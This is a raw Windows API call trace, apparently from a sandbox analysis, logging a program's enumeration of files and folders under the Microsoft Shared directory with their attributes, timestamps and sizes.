	[0050.418] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1
	[0050.418] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1
	[0050.418] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.418] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.419] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), fInfoLevelId=0x0, lpFileInformation=0x1276fef8 | out: lpFileInformation=0x1276fef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b)) returned 1
	[0050.419] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), fInfoLevelId=0x0, lpFileInformation=0x1276ff48 | out: lpFileInformation=0x1276ff48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160)) returned 1
	[0050.420] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), fInfoLevelId=0x0, lpFileInformation=0x1276ff98 | out: lpFileInformation=0x1276ff98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e)) returned 1
	[0050.421] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), fInfoLevelId=0x0, lpFileInformation=0x1277e008 | out: lpFileInformation=0x1277e008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90)) returned 1
	[0050.421] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), fInfoLevelId=0x0, lpFileInformation=0x1277e058 | out: lpFileInformation=0x1277e058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380)) returned 1
	[0050.422] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), fInfoLevelId=0x0, lpFileInformation=0x1277e0a8 | out: lpFileInformation=0x1277e0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80)) returned 1
	[0050.423] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), fInfoLevelId=0x0, lpFileInformation=0x1277e0f8 | out: lpFileInformation=0x1277e0f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774)) returned 1
	[0050.423] VirtualAlloc (lpAddress=0x12780000, dwSize=0x100000, flAllocationType=0x1000, flProtect=0x4) returned 0x12780000
	[0050.426] VirtualAlloc (lpAddress=0x110f8000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x110f8000
	[0050.426] VirtualAlloc (lpAddress=0x21a5000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x21a5000
	[0050.426] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), fInfoLevelId=0x0, lpFileInformation=0x1277e148 | out: lpFileInformation=0x1277e148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb)) returned 1
	[0050.427] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), fInfoLevelId=0x0, lpFileInformation=0x1277e198 | out: lpFileInformation=0x1277e198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d)) returned 1
	[0050.427] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1277e1e8 | out: lpFileInformation=0x1277e1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425)) returned 1
	[0050.428] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), fInfoLevelId=0x0, lpFileInformation=0x1277e238 | out: lpFileInformation=0x1277e238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692)) returned 1
	[0050.428] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), fInfoLevelId=0x0, lpFileInformation=0x1277e288 | out: lpFileInformation=0x1277e288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566)) returned 1
	[0050.428] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), fInfoLevelId=0x0, lpFileInformation=0x1277e2d8 | out: lpFileInformation=0x1277e2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78)) returned 1
	[0050.429] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), fInfoLevelId=0x0, lpFileInformation=0x1277e328 | out: lpFileInformation=0x1277e328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80)) returned 1
	[0050.429] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), fInfoLevelId=0x0, lpFileInformation=0x1277e378 | out: lpFileInformation=0x1277e378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780)) returned 1
	[0050.430] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help" (normalized: "c:\\program files\\common files\\microsoft shared\\help"), fInfoLevelId=0x0, lpFileInformation=0x1277e3c8 | out: lpFileInformation=0x1277e3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help" (normalized: "c:\\program files\\common files\\microsoft shared\\help"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.431] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.431] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.431] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1
	[0050.431] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1
	[0050.431] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 1
	[0050.431] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.431] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.431] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), fInfoLevelId=0x0, lpFileInformation=0x1277e508 | out: lpFileInformation=0x1277e508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200)) returned 1
	[0050.431] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), fInfoLevelId=0x0, lpFileInformation=0x1277e558 | out: lpFileInformation=0x1277e558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200)) returned 1
	[0050.432] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), fInfoLevelId=0x0, lpFileInformation=0x1277e5a8 | out: lpFileInformation=0x1277e5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000)) returned 1
	[0050.433] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr"), fInfoLevelId=0x0, lpFileInformation=0x1277e5f8 | out: lpFileInformation=0x1277e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.434] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.434] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.434] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 1
	[0050.434] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.434] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.434] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll"), fInfoLevelId=0x0, lpFileInformation=0x1277e698 | out: lpFileInformation=0x1277e698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0)) returned 1
	[0050.435] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo"), fInfoLevelId=0x0, lpFileInformation=0x1277e6e8 | out: lpFileInformation=0x1277e6e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.436] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.436] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.436] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0050.436] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1
	[0050.436] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.436] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.436] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x1277e7d8 | out: lpFileInformation=0x1277e7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
